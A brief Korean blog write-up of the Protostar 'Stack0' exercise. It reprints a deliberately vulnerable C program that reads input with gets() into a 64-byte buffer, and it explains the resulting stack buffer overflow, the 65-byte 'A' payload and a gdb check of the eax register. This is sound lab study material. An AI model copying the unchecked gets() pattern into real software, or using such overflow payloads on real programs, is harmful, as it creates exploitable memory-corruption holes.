반응형
[Protostar] Stack0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
1. buffer는 64bytes이고 gets(buffer);에서 입력값에 대해 길이 검증을하지 않는다.
👉 여기서 buffer overflow가 일어난다.
2. 문제는 if문 조건을 만족시키는 건데 modified의 값이 0이 아니면 성공하는 것!
👉 stack 구조를 그리면 아래와 같다.
그러면 buffer 64bytes를 가득채우고 추가로 입력값을 주면 modified값도 변경된다.
페이로드 :
(python -c 'print "A"*65') | ./stack0
더보기
추가로 stack0의 함수를 gdb로 보게되면
test eax, eax 에서 modified가 0이지 확인하기 때문에
breakpoint를 main+35에 잡은뒤
A * 64번을 줄때의 eax
A * 65번을 줄때의 eax
값이 변하는것을 알 수 있다!
반응형